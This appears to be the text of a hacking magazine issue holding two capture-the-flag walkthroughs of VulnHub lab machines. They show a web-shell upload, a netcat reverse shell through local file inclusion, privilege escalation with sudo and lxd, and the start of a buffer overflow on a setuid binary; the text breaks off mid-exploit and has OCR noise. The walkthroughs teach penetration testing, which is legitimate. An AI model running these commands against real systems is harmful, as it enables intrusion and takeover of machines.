

Amber The Packer Encoding, Obfusctaion and Other Techniques in BYPASSING ANTIVIRUS

D - Link Central Wifi Manager RCE, Linux Container Enumeration & Other Modules in METASPLOIT THIS MONTH

..with all other regular Features

Then you will know the truth and the truth will set you free.

John 8:32

Editor's Note

Hi Hackercoolians. We hope we have not kept you waiting too long. We also hope you are all awesome and safe. This is our October 2020 Issue an -d we are pretty disappointed to release it. This Issue commemorates the fourth anniversary of the release of our Magazine. Yes, our First official Issue came on October 2016. Our October 2016 Issue is one of the most popular Issues and is still available for free on our website. We had many plans for the Issue commemorating the fourth anniversary which turned awfully duds. Yet here we are with our Issue.

Although most of our plans went wrong, we made sure to make it informative to our readers. When we started this Magazine four years back, Adult Friend Finder lost around 412.2 million records of data to hackers. This was 20 years of data and included names, email addresses and passwords. These passwords were protected by SHA-1 hashing algorithm which is considered weak. Its safe to presume that by the time this data breach was public, most of these passwords might have been cracked. In these four years, we only saw these data breaches increasing. From the DNC to Yahoo, we have seen empires rising and falling.

By 2020, it is estimated that the cost of a data breach will be 150 million do -llars. The number of phishing websites rose over 130.5%. Hackers are attackin -g every 39 seconds, on average 2,244 times a day. But still cyber security awa -reness seems to be decreasing among users and companies alike. October is considered as Cyber Security Awareness Month every year. The irony is that October 2020 is the leakiest month ever recorded with 117 publicly reported se -curity incidents. There is an immediate need to improve cyber security awareness among users and employees alike. We promise that our Magazine will cont -inuously strive to improve these among our readers. Thanking all our readers for your continuous support.

c.k.chakravarthi

"IF SOMEBODY'S HACKING YOU, YOU DON'T WANT THEM TO KNOW THAT YOU KNOW."
- NANCY PELOSI

INSIDE

See what our Hackercool Magazine October 2020 Issue has in store for you.

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Some Useful Resources

DATA BREACH - PART 1

REAL WORLD HACKING SCENARIO

BACKSTORY

A company had a small website with minimum features for their purpose. They thought they would be the last target on any hackers mind as they don't have anything for hackers on their website. On an usual Monday, employees of the company were going on with their routine duties while their website was being silently hacked. They would not know anything until some days......

LAB SETUP

This Lab uses two software. They are,


- 1. Kali Linux 2020.3
- 2. Kira CTF (https://www.vulnhub.com/entry/kira-ctf,594//)

Both these systems are installed and configured on the same network (either NAT or Hostonly network). Kali Linux is the attacker system while Kira CTF is the target.


SCENARIO


STAGE 1: RECONNAISSANCE


Hi, I am Hackercool. As I was going through the internet, I found a website which was too simple.




It just had a upload button and a language button. The upload button gave me some thought so about file upload vulnerability. I wanted to test this site had any file upload vulnerabilities.








The upload is not only successful but actually even the path of the location where the file is uploaded is being displayed. PHP File type check example X + ... 😡 🕁 ← → C 0 ① 192.168.36.164/upload.php Kali Linux 🔌 Kali Training 🦠 Kali Tools 🧮 Kali Docs 🦠 Kali Forums 🔞 NetHunter 🧌 Offensive Security 🦔 Exploit-DB 🐞 GHDB 🥻 MSFU Select image: Browse_ No file selected. Upload Uploaded !!! name : uploads/foxy.jpeg This gave me an idea. What if I am successful in uploading the php web shell by adding jpeg extension to it. This is known as double extension method of uploading files. PHP File type check example × + ① 192.168.36.164/upload.php … ☑ ☆ ← → C û Kali Linux 🦠 Kali Training 🦠 Kali Tools 🧱 Kali Docs 🦠 Kali Forums 🕟 NetHunter 🥻 Offensive Security 🐞 Exploit-DB 🐞 GHDB 🥻 MSFU Select image : Browse... php-backdoor.php.jpeg Upload Uploaded !!! name: uploads/foxy.jpeg The upload is successful. Index of /uploads ← → C 0 ① 192.168.36.164/uploads/ --- ☑ ☆ Kali Linux 🛝 Kali Training 🦜 Kali Tools 💆 Kali Docs 🦠 Kali Forums 🧥 NetHunter 🦷 Offensive Security 🐞 Exploit-DB 🐞 GHDB 🥞 MSFU Index of /uploads Last modified Size Description Name Parent Directory foxy.jpeg 2020-11-30 19:17 93K php-backdoor.php.jpeg 2020-11-30 19:19 2.7K Apache/2.4.29 (Ubuntu) Server at 192.168.36.164 Port 80 But while accessing the uploaded webshell, I got an error as shown below. php-backdoor.php.jpeg(JPL x + --- 日 ☆ - C 0 192.168.36.164/uploads/php-backdoor.php.jpeg W (D (#) Kali Linux 🦠 Kali Training 🔌 Kali Tools 💆 Kali Docs 🦠 Kali Forums 🕥 NetHunter 🐧 Offensive Security 🐞 Exploit-DB 🐞 GHDB 🥻 MSFU The image "http://192.168.36.164/uploads/php-backdoor.php.jpeg" cannot be displayed because it contains errors. So even though I am successful in uploading the web shell, I can't weaponise it. I decided to further enumerate the website. There's another button named "language" on the website. 192.168.36.164/ ... 😡 🕁 () € 0 ③ 192.168.36.164 Kali Linux 🔌 Kali Training 🦠 Kali Tools 🧧 Kali Docs 🦠 Kali Forums 🐞 NetHunter 🧌 Offensive Security 🐞 Exploit-DB 🐞 GHDB 🧌 MSFU upload language



This required another trial and error to find out the location of the web server root directory. I can successfully see the image (goxy.jpeg) file I uploaded. Now time to view the php shell I uploaded.



Good. However, this shell is limited. So, it's time to upload the php-reverse-shell to the target and weaponise it.



```
started a netcat listener and using LFI vulnerability, access my newly uploaded shell.
 kali@kali:~$ nc -lvp 1234
 listening on [any] 1234 ...
                 × PHP File type check example × +
 . LFI
\leftarrow \rightarrow \times \ \alpha
                      Q 192.168.36.164/language.php?lang=_/_/_/_/var/www/html/uploads/php-reverse-shell.php.jpg
  Kali Linux 🛝 Kali Training 🥄 Kali Tools 👱 Kali Docs 🔍 Kali Forums 🔞 Nethunter 🦹 Offensive Security 🛸 Exploit-UB 🛸 GHUB 🥻 MSFU
  language
This successfully gave me a shell on the target.
 kali@kali:~$ nc -lvp 1234
 listening on [any] 1234 ...
 192.168.36.164: inverse host lookup failed: Unknown host
 connect to [192.168.36.158] from (UNKNOWN) [192.168.36.164] 43628
 Linux bassam-aziz 5.3.0-28-generic #30~18.04.1-Ubuntu SMP Fri Jan 17 06:14:09 UTC 2020 x86_64 x
 86_64 x86_64 GNU/Linux
  19:38:55 up 35 min, 1 user, load average: 1.06, 1.03, 1.04
                                       LOGINA
                                                         JCPU
                                                                PCPU WHAT
 USER
                     FROM
                                                 IDLE
                                       19:06
                                                ?xdm? 31:47 0.02s /usr/lib/gdm3/gdm-x-session -- r
           : 0
 bassam
                     :0
 un-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session -- session=ubuntu
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 /bin/sh: 0: can't access tty; job control turned off
 $ id
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 Linux bassam-aziz 5.3.0-28-generic #30~18.04.1-Ubuntu SMP Fri Jan 17 06:14:09 UTC 2020 x86_64 x
 86_64 x86_64 GNU/Linux
 $
```

It's time for privilege escalation. I uploaded the PE.sh script on the target and ran itn for this purpose.

```
$ chmod 777 PE.sh
$ ls
PE.sh
$ ./PE.sh
TERM environment variable not set.
############### PE Linux
##################### Reporting Directory : /Report

Kernel : 5.3.0-28-generic

Hostname: bassam-aziz
Linux kernel architecture: x86_64
grep: write error: Broken pipe
Full Kernel information:
Linux bassam-aziz 5.3.0-28-generic #30-18.04.1-Ubuntu SMP Fri Jan 17 06:14:09 UTC 2020 x86_64 x
86_64 x86_64 GNU/Linux
Distribution information:
"Ubuntu 18.04.4 LTS"
```

PE.sh failed to get any positive results or any passwords.

```
$ pwd
/tmp
$ ls
PE.sh
Reports
passwordfiles.txt
$ cat passwordfiles.txt
```

Since I am running as www-data user, there will be no SUDO privileges. So I started a long p rocess of enumeration to find a way to elevate privileges. As part of the process, I found a backups directory in the "var" directory.

```
$ cd var
$ ls
backups
cache
crash
lib
local
lock
log
mail
metrics
opt
run
snap
spool
tmp
$
```

But that didn't have any interesting files.

```
$ cd backups
$ ls
alternatives.tar.0
apt.extended_states.0
dpkg.arch.0
dpkg.arch.1.gz
dpkg.diversions.0
dpkg.diversions.1.gz
dpkg.statoverride.0
dpkg.statoverride.1.gz
dpkg.status.0
dpkg.status.1.gz
group.bak
gshadow.bak
passwd.bak
shadow.bak
$
```

As I performed further enumeration, I found a file named "supersecret-for-aziz" in the /www/html directory.

Actually it is itself a directory. In that directory, a file named "bassam-pass.txt" had a text while one has been appeared to be a password.

```
$ cat supersecret-for-aziz
cat: supersecret-for-aziz: Is a directory
$ cd supersecret-for-aziz
$ ls
bassam-pass.txt
$ cat bassam-pass.txt
Password123!@#
```

The file suggests that this is the password for bassam. Is this the password for user named "bassam"? I login as user "bassam" with the password I just got and the login is successful.

```
$ python3 'import pty;pty.spawn("/bin/bash")'
python3: can't open file 'import pty;pty.spawn("/bin/bash")': [Errno 2] No such file or directo
ry
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz$ su bassam
su bassam
Password: Password123!@#
bassam@bassam-aziz:/var/www/html/supersecret-for-aziz$
```

However, I still don't have root privileges. When I saw what SUDO privileges this user has, I found out that he can run the find command as root.

```
bassam@bassam-aziz:/var/www/html/supersecret-for-aziz$ sudo -l
sudo -l
[sudo] password for bassam: Password123!@#

Matching Defaults entries for bassam on bassam-aziz:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin

User bassam may run the following commands on bassam-aziz:
    (ALL : ALL) /usr/bin/find
bassam@bassam-aziz:/var/www/html/supersecret-for-aziz$
```

As far as I know, that's too simple by now.

Now, I have root privileges on the target system.

```
# cd /root
cd /root
# ls
ls
flag.txt
# cat flag.txt
cat flag.txt
THM{root-Is_Better-Than_All-of-THEM-31337}
#
```

To be Continued.....

FOXHOLE : 1.0.1

CAPTURE THE FLAG

You may take numerous courses on cyber security and ethical hacking but you will not hone your skills unless you test you skills in a Real World hacking environme -nt. CAPTURE THE FLAG scenarios and VM labs provide the beginners and those who want a real world testing lab for practice. These scenarios also provide a variety of challenges which help readers and users to gain knowledge about different tools and methods used in Real World penetration testing. These are not only useful for beginners but also security professionals, system administrators and other cyber security enthusiasts. We at Hackercool Magazine strive to bring our readers some of the best CTF scenarios every month. We suggest our readers not only to just read these tutori-als but also practice them by setting up the VM.

Like other articles of our magazine, this article too has been written so that it is easily understandable to beginners. To make this more simple, this article has been replayed as a challenge being performed by an amateur hacker.


Hi Hackercoolians. I am Mala and in our present Issue, I bring you the CTF challenge of Fox Hole 1.0.1. This machine is authored by "purpl3f0x". The author says it it is an "easy to intermediate" which is easy to gain access but a bit complex to escalate privileges. The reason I chose this machine for you is that it is based on steganography and our readers did not have any prior interaction with a CTF machine that is based on steganography. For the beginners, Steganography is the art of hiding information in plain sight. The machine can be downloaded from the given link below.


https://www.vulnhub.com/entry/foxhole 101,566/

This machine is working fine in both Virtualbox and Vmware and it is set to get IP address au tomatically as DHCP is enabled. So I fire up both target and attacker machines and perform a SYN PING scan on the target to find the IP address of my target.


```
kali@kali:~$ nmap -sP 192.168.36.155-200
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-22 05:46 EDT
Nmap scan report for 192.168.36.158
Host is up (0.0016s latency).
Nmap scan report for 192.168.36.159
Host is up (0.0016s latency).
Nmap done: 46 IP addresses (2 hosts up) scanned in 1.91 seconds
kali@kali:~$
```

As you can all see, the target IP address is 192.168.36.159. The verbose scan of Nmap reve aled that the target is running only two services: SSH and HTTP. I started by searching for any vulnerabilities related to the version of SSH running on the target. Searchsploit failed to find any vulnerabilities.





The website appears to be a collection of images classified according to their genre. The gen -res include people, animals, sports, architecture and nature etc. That's a wide range of genres involved here.



Let's see if I can find any interesting directories using directory busting.

kali@kali:~\$ dirb http://192.168.36.159


DIRB v2.22 By The Dark Raver

START_TIME: Thu Oct 22 05:52:33 2020 URL_BASE: http://192.168.36.159/


WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

— Scanning URL: http://192.168.36.159/ -⇒ DIRECTORY: http://192.168.36.159/css/ ⇒ DIRECTORY: http://192.168.36.159/fonts/




Dirb found two directories which may help me in solving the challenge. The first one is that of phpmyadmin and second directory is the file robots.txt. Is this going to be a popular phpmyad -min vulnerability? Let me see.




However, the phpmyadmin directory is the image of the login page of phpmyadmin. The robo




By the way, the word "jebaited" means getting trolled or tricked. The word originated on Twitc -h, a live streaming platform of gamers. Twitch has a chatroom where streamers and their fans interact. It is here that emotes came into existence. Emotes are just like emojis you use in day to day chatting. The jebaited emote in twitch came from Alex Jebailey, a community orga -nizer. This "jebaited" emote is quite popular on twitch. So the author of this CTF trolled me with this particular emote. It's high time I run nikto.





However, I have been once again trolled to try hard to find the admin page since this is not it. The only clue I have till now is "colorlib" about which I found in the "README.txt:" file but the re are no exploit modules related to "colorlib".



All doors appear to be closed. There is one directory with name "images" with a lot of image -s in it.







The hint is like this. 'Maybe take a nice "deep" look at that one purple fox picture? I dunno.'


All your doubts, queries and questions related to ethical hacking and penetration testing can be mailed to editor@hackercoolmagazine.com or you can get to us at our Facebook Page

Hackercool Magazine

or

tweet us at @hackercoolmagz

I immediately opened the Images webpage and opened the image with an identical name of purple fox. This is an image of the purplefox but what caught my attention was the binary bits of 1's and 0's.



Is this some kind of code we need to decode? After a bit of contemplation, I decided to use the tool steghide to check if the image is hiding something,

```
kali@kali:~/Downloads$ sudo apt-get install steghide
[sudo] password for kali:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  libmcrypt4 libmhash2
Suggested packages:
  libmcrypt-dev mcrypt
The following NEW packages will be installed:
  libmcrypt4 libmhash2 steghide
0 upgraded, 3 newly installed, 0 to remove and 616 not upgraded.
Need to get 327 kB of archives.
After this operation, 929 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
kali@kali:~/Downloads$ ls
```

```
kali@kali:~/Downloads$ ls
purpl3f0x.jpg
kali@kali:~/Downloads$ steghide extract -sf purpl3f0x.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
kali@kali:~/Downloads$
```

When I tried to extract data from this particular image, it prompted for a password. When I en -tered with the empty password, it failed to extract anything. I didn't find any other lead that c-an give me the password. While I was observing all the images, I found there were other images of purplefox. I downloaded the image with name "foxy" and tried to extract the data insid -e it with steghide again.

```
kali@kali:~/Downloads$ steghide extract -sf foxy.jpg
Enter passphrase:
steghide: could not open the file "foxy.jpg".
kali@kali:~/Downloads$ steghide extract -sf foxy.jpeg
Enter passphrase:
steghide: could not extract any data with that passphrase!
kali@kali:~/Downloads$
```



However, this time, steghide extracted a text file named "msg.txt".

```
kali@kali:~/Downloads$ steghide extract -sf foxy1.jpeg
Enter passphrase:
wrote extracted data to "msg.txt".
kali@kali:~/Downloads$ ls
foxy1.jpeg foxy.jpeg msg.txt purpl3f0x.jpg
kali@kali:~/Downloads$
```

This file had a hash. Hash-identifier failed to identify the hash.

My personal experience in solving numerous CTF challenges taught me that if there is any hash that hash-identifier failed to identify. there is a majority chance that the hash is a base64 hash. So I decoded the hash with base64 decoding to see if I would get anything meaningful.

```
kali@kali:~/Downloads$ cat msg.txt
WTB1M3NjYXAzZFRoM0YweEgwbGUhClVzZXJuYW1lIGlzIGZveCA7Mw=
kali@kali:~/Downloads$ cat msg.txt | base64 -- decode
Y0u3scap3dTh3F0xH0le!
Username is fox ;3kali@kali:~/Downloads$
```

The base64 decoding revealed the text of the hash as something like "you escaped the fox hole". This is not only meaningful but also relevant. After encountering so many fox holes, it

seems I finally escaped the foxhole. It also revealed the username as "fox". There is only one place where I can try logging i with these credentials, the SSH service.

```
kali@kali:~$ nmap -sT 192.168.36.159
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-11 08:15 EST
Nmap scan report for 192.168.36.159
Host is up (0.0027s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
kali@kali:~$
```

The login was successful and I am inside the machine.

```
kali@kali:~$ ssh fox@192.168.36.159
The authenticity of host '192.168.36.159 (192.168.36.159)' can't be established.
ECDSA key fingerprint is SHA256:SztZJRkHgu4LeTtx7+sQ84yrrsiNhZv5j2IAUtsix+U.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.36.159' (ECDSA) to the list of known hosts.
fox@192.168.36.159's password:
Permission denied, please try again.
fox@192.168.36.159's password:
Permission denied, please try again.
fox@192.168.36.159's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-47-generic x86_64)
 * Documentation: https://help.ubuntu.com
                   https://landscape.canonical.com
 * Management:
                   https://ubuntu.com/advantage
 * Support:
306 updates can be installed immediately.
25 of these updates are security updates.
To see these additional updates run: apt list -- upgradable
Your Hardware Enablement Stack (HWE) is supported until April 2025.
*** System restart required ***
Last login: Thu Sep 10 14:05:53 2020
fox@FoxHole:~$ id
uid=1000(fox) gid=1000(fox) groups=1000(fox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(
lpadmin), 131(lxd), 132(sambashare)
```

I ran the id command and immediately noticed that the user fox is part of both sudo and lxd groups. However, when I checked if the user had any SUDO privileges the system prompted that the user cannot run SUDO command on this target.

```
fox@FoxHole:~$ sudo -l
[sudo] password for fox:
Sorry, user fox may not run sudo on FoxHole.
fox@FoxHole:~$ sudo -l
[sudo] password for fox:
Sorry, user fox may not run sudo on FoxHole.
fox@FoxHole:~$ sudo-l
sudo-1: command not found
fox@FoxHole:~$ sudo -l
[sudo] password for fox:
Sorry, try again.
[sudo] password for fox:
Sorry, user fox may not run sudo on FoxHole.
fox@FoxHole:~$
fox@FoxHole:/tmp$ sudo su
[sudo] password for tox:
fox is not in the sudoers file. This incident will be reported.
fox@FoxHole:/tmp$
```

Strange. Next, I decided to try lxd privilege escalation since the user is a member of lxd group. Lxd has a vulnerability that can give us root privileges. For this, we need a lxd alpine builder as shown below.

```
kali@kali:~/PE-Linux$ sudo git clone https://github.com/saghul/lxd-alpine-builder.git
 [sudo] password for kall:
 Cloning into 'lxd-alpine-builder' ...
 remote: Enumerating objects: 27, done.
 remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
 Unpacking objects: 100% (27/27), 15.98 KiB | 197.00 KiB/s, done.
 kali@kali:~/PE-Linux$ ls
 1xd-alpine-builder PE.sh README.md
 kali@kali:~/PE-Linux$
Then we need to create an image as shown below.
 kali@kali:~/PE-Linux/lxd-alpine-builder$ sudo ./build-alpine
 Determining the latest release ... v3.12
 Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86
Downloading alpine-keys-2.2-r0.apk
 tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
 tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
(8/19) Installing ca-certificates-bundle (20191127-r4)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r19)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r1)
(13/19) Installing busybox-suid (1.31.1-r19)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.6-r0)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.1-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
root@kali:/home/kali/PE-Linux/lxd-alpine-builder# ls
alpine-v3.12-i686-20201111_0940.tar.gz build-alpine LICENSE README.md
root@kal1:/home/kal1/PE-L1nux/txg-atpine-builder#
We need to move this tar image to the target system.
fox@FoxHole:/tmp$ wget http://192.168.36.158:8000/lxd-alpine-builder/alpine-v3.12-i686-20201111
_0940.tar.gz
 --2020-11-11 06:42:27-- http://192.168.36.158:8000/lxd-alpine-builder/alpine-v3.12-1686-202011
11_0940.tar.gz
Connecting to 192.168.36.158:8000 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 3199907 (3.1M) [application/gzip]
 Saving to: 'alpine-v3.12-i686-20201111_0940.tar.gz'
 alpine-v3.12-i686-20201 100%[=
                                                               3.05M -- •-KB/s
                                                                                    in 0.09s
                                                           ⇒]
2020-11-11 06:42:27 (35.2 MB/s) - 'alpine-v3.12-i686-20201111_0940.tar.gz' saved [3199907/31999
```

07]

As I don't have SUDO privileges on the target system, I need to find some other way to eleva te privileges. While enumerating the directories, I found a file named GiveMeRootPlz on whi ch root has rights. Is this my way to get root or another foxhole?

```
fox@FoxHole:~$ pwd
/home/fox
fox@FoxHole:~$ ls
Desktop Documents Downloads GiveMeRootPlz Music peda Pictures Public Templates Videos
fox@FoxHole:~$ ls -l
total 52
drwxr-xr-x 2 fox fox
                      4096 Sep 9 14:44 Desktop
                      4096 Sep 9 14:44 Documents
drwxr-xr-x 2 fox fox
                      4096 Sep 9 15:55 Downloads
drwxr-xr-x 4 fox fox
-rwsrwxr-x 1 root root 15880 Sep 9 19:02 GiveMeRootPlz
                      4096 Sep 9 14:44 Music
drwxr-xr-x 2 fox fox
                      4096 Sep 9 17:12 peda
drwxrwxr-x 4 fox fox
                      4096 Sep 9 18:42 Pictures
drwxr-xr-x 2 fox fox
                      4096 Sep 9 14:44 Public
drwxr-xr-x 2 fox fox
                      4096 Sep 9 14:44 Templates
drwxr-xr-x 2 fox fox
                      4096 Sep 9 14:44 Videos
drwxr-xr-x 2 fox fox
fox@FoxHole:~$
```

I found the GiveMeRootPlz as an executable and when executed, the result was something like below.

```
fox@FoxMole:~$ file GiveMeRootPlz
GiveMeRootPlz: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=f70605a20537a577f0ae7253c0231ca4d6f7ab66,
for GNU/Linux 3.2.0, not stripped
fox@FoxHole:~$ ./GiveMeRootPlz

Do you want the root password?yes

You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
fox@FoxHole:~$ ...
```

The last part of the message suggests there may be a buffer overflow vulnerability in this or this may be another foxhole. The strings command resulted in some interesting output.

```
fox@FoxHole:~$ strings GiveMeRootPlz
/lib/ld-linux.so.2
libc.so.6
IO stdin used
gets
puts
printt
setresgid
setresuid
system
getegid
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.1.3
GLIBC_2.0
```

```
_ITM_registerTMCloneTable
/bin/bash
Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
9*2$"
GCC: (Ubuntu 9.3.0-10ubuntu2) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7621
 _do_global_dtors_aux_fini_array_entry
frame_dummy
 __frame_dummy_init_array_entry
GiveMeRootPlz.c
 FRAME_END_
__init_array_end
DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
setresuid@@GLIBC_2.0
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
printf@@GLIBC 2.0
gets@@GLIBC_2.0
__x86.get_pc_thunk.bp
_edata
geteuid@@GLIBC_2.0
getegid@@GLIBC_2.0
__x86.get_pc_thunk.dx
__cxa_finalize@@GLIBC_2.1.3
overflow
 __data_start
puts@@GLIBC_2.0
system@@GLIBC_2.0
  _gmon_start
  _dso_handle
 _IO_stdin_used
secret
__tibc_start_main@@GLIBC_2.0
  _libc_csu_init
_fp_hw
 __bss_start
main
```

The puts and gets commands are vulnerable to buffer overflow. Not only that there is also a command /bin/bash being called by this program. Since it is running with root privileges, we can get a root shell. First let's confirm if there is indeed a buffer overflow vulnerability here. W -e can do this by feeding it a large input. I decide to feed it 500 characters of alphabets "H" and "C". That makes it 1000 characters. We can do this by using python as shown below.

fox@FoxHole:~\$

When I feed this text to the GiveMeRootPlz program, I get this.

fox@FoxHole:~\$./GiveMeRootPlz

```
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
Segmentation fault (core dumped)
fox@FoxHole:~$
```

Segmentation fault has occurred and the core has been dumped. This means there is a chance of buffer overflow (We have covered about buffer overflow in our April 2020 and May 202
0 Issues). To test this vulnerability further, we need a debugger. On enumerating the target
machine, I saw that not only GNU debugger but also peda. Peda is a plugin that enhances th
e functions of GNU debugger.

```
Desktop Documents Downloads GiveMeRootPlz

fox@FoxHole:~$ gdb ./GiveMeRootPlz

GNU gdb (Ubuntu y.1-oubuntu) y.1

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License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/</a>.

Find the GDB manual and other documentation resources online at:
```

(GNU Debugger has been discussed in our MARCH 2020 Issue and PEDA has been discus -sed in MAY 2020 Issue). Let's run the .GiveMeRootPlz program in GDB and feed it the same pattern we provided as input before.

```
Starting program: /home/fox/GiveMeRootPlz
```

```
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
Program received signal SIGSEGV, Segmentation fault.
```

The program executes and this time GDB gives us information about the memory registers.

```
EAX: 0×0
EBX: 0×43484348 ('HCHC')
ECX: 0×ffffffff
EDX: 0×ffffffff
    → 0×1e6d6c
EDI:
    → 0×1e6d6c
EBP: 0×43484348 ('HCHC')
    HCHCHCHCHCHCHCHCHCHCHCHCHC" ... )
EIP: 0×43484348 ('HCHC')
EFLAGS: 0×10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
     CHCHCHCHCHCHCHCHCHCHCHCHCHC" ... )
 0004
    0012
CHCHCHCHCHCHCHCHCHCHCHCHCHC" ... )
     0016
CHCHCHCHCHCHCHCHCHCHCHCHCHC" ... )
0020
     CHCHCHCHCHCHCHCHCHCHCHCHCHC" ... )
     CHCHCHCHCHCHCHCHCHCHCHCHCHC" ... )
0028
     CHCHCHCHCHCHCHCHCHCHCHCHCHC" ... )
     , rodata, <u>v</u>alue
Legend:
Stopped reason:
   in ?? ()
```

When the program gets executed and eventually crashes, GDB catches the crash. It also specifies that the crash occurred due to a memory address 0x43484348. As we already know, this is a segmentation fault. A segmentation fault occurs when a program tries to access a memory location that is not assigned to it. Normally, memory addresses are given in hexadecimal format. 43 and 48 are in hexadecimal form. If we see in the table given below, these hexadecimals stand for characters "C" and "H" respectively.

Dec	Hex	0ct	Char	Dec	Hex	0ct	Char	Dec	Hex	0ct	Char
32	20	40	[space]	64	40	100	@	96	60	140	
33	21	41		65	41	101	A	97	61	141	a
34	22	42		66	42	102	В	98	62	142	b
35	23	43	#	67	43	103	С	99	63	143	c
36	24	44	\$	68	44	104	D	100	64	144	d
37	25	45	%	69	45	105	E	101	65	145	e
38	26	46	&	70	46	106	F	102	66	146	f
39	27	47		71	47	107	G	103	67	147	g
40	28	50	(72	48	110	Н	104	68	150	h
41	29	51)	73	49	111	T	105	69	151	i i
42	2A	52	*	74	4A	112	J	106	6A	152	j
43	2B	53	+	75	4B	113	K	107	6B	153	k
44	2C	54		76	4C	114	L	108	6C	154	

That stands for characters "CHCH" which caused the crash. But the problem is we don't know exactly which of these "CH" characters we inserted caused the crash. This problem too is solved by PEDA for us. PEDA has a pattern create command that creates a cyclic pattern of random characters. I use to create 1000 random characters, save it in a file named "pattern" and feed to the program GiveMeRootPlz.

```
pattern create 1000 pattern
 Writing pattern of 1000 chars to filename "pattern"
           r < pattern
 Starting program: /nome/fox/GiveMeRootPlz < pattern
 Do you want the root password?
 You didn't convince me!
 Maybe you should write me a *very long* reason why I should give you the password
 Program received signal SIGSEGV, Segmentation fault.
 EAX: 0×0
 EBX: 0×414d7341 ('AsMA')
 ECX: 0×ffffffff
 EDX: 0×ffffffff
 ESI: 0×f7fb5000 → 0×1e6d6c
 EDI: 0×17(b5000 → 0×1e6d6c
 EBP: 0×73416973 ('siAs')
                 ("AsjAs9As0AskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAs
 xAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABFAB5A
 BKABGAB6ABLABhAB7ABMAB1AB8AB" ... )
 EIP: 0×4e734138 ('8AsN')
 EFLAGS: U×10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
                  ("AsjAs9As0AskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZA
 sxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABCAB2ABHABdAB3ABIABeAB4ABJABFAB5
 ABKABGAB6ABLABhAB7ABMABiAB8AB" ... )
Now, we can use the pattern offset command in PEDA to see exactly after how many charac
-ters the program crashes.
                  ("QAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$
 0020
 ABNABCAB-AB(ABDAB; AB)ABEABaABØABFABbAB1ABGABCAB2ABHABdAB3ABIABeAB4ABJABFAB5ABKABgAB6ABLABhAB7AB
 MABIAB8ABNABJAB9ABOABKABPABlA" ... )
                 ("AsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnA
 0024
 BCAB-AB(ABDAB; AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABFAB5ABKABgAB6ABLABhAB7ABMABi
 AB8ABNABjaB9AB0ABkABPABlaBQAB"...)
                  ("soAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB
 0028
